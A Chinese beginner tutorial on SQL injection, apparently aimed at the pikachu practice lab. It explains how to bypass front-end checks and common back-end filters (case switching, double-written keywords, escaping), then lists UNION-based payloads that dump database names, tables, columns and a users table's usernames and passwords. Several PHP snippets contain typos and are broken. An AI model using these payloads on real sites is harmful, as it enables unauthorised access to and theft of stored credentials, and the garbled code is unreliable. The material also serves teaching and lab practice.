【新手入门】SQL注入之防御代码的绕过、数据库数据读取

一、前端防御代码绕过

有些输入数据的地方(如登陆页面),当输入的数据不太合适时,直接就有提示,并且不符合要求的话,就不能点击提交按钮,即不能和后台进行交互,像这种行为就都属于前端代码的限制。

绕过前端代码最好的方式就是先输入一个符合格式要求的数据,然后抓包--处理--放包。所以前端代码限制的绕过很简单,但碰到js加密和混淆技术(代码语句顺序打乱)时,前端代码绕过也是比较有难度的。

二、后端防御代码绕过

<?php
$uname = $_GET('username');

情况一:判断关键字

if('select' in Suname){
echo'不要搞事情'}

绕过:大小写绕过:SELECT*FROM USERS;

情况二:替换关键字(双写绕过)

将select *from users中的select替换为空字符串
echo str_replace("select"," ","select * from users");

绕过:selselectect*from users;

           其实str_replace只替换了一次select还剩下一个select

情况三:整型转换

直接将用户提交的id数据转换为整型

$id = $_PosT('id');
$id_int = intval(sid);
select *from users where id=$id int

绕过:强防御,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话就不会进行intval()的加工,就可以尝试其他注入手法。


情况四:“\”转义

magic_quotes_gpc=on
或者使用了addslashes(sid)

绕过:开启了魔术符号转义功能,将用户提交的数据中的引号自动在前面加上\进行转义,这种的参看宽字节注入,其他办法很难绕过,但是这里有个点,就是如果对id=1这种数字型的注入,还是有其他办法的,比如id=1 and select*from users;这样的注入语句没有单引号.

三、数据库数据读取

获取当前数据库名、用户名、版本等信息

'union select user(),version()--+

获取mysql所有库名

'union select 1,group_concat(schema_name)from information_schema.schemata+--+

获取所有字段数据

比如获取users表的所有数据指令:

'union select 1,group_concat(id,0x7c,username,0x7c,passmord,0x7c,leve1,0x7c)from users+--+

判断查询的字段个数order by

order by 1,2,3--+

报错,表示字段个数小于3个,那么减少一个字段来尝试

order by 1,2--+

不报错,表示字段个数为2个,如果还报错,那么继续减少一个来尝试

获取pikachu库的所有表名

'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

获取表中的字段名

'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+,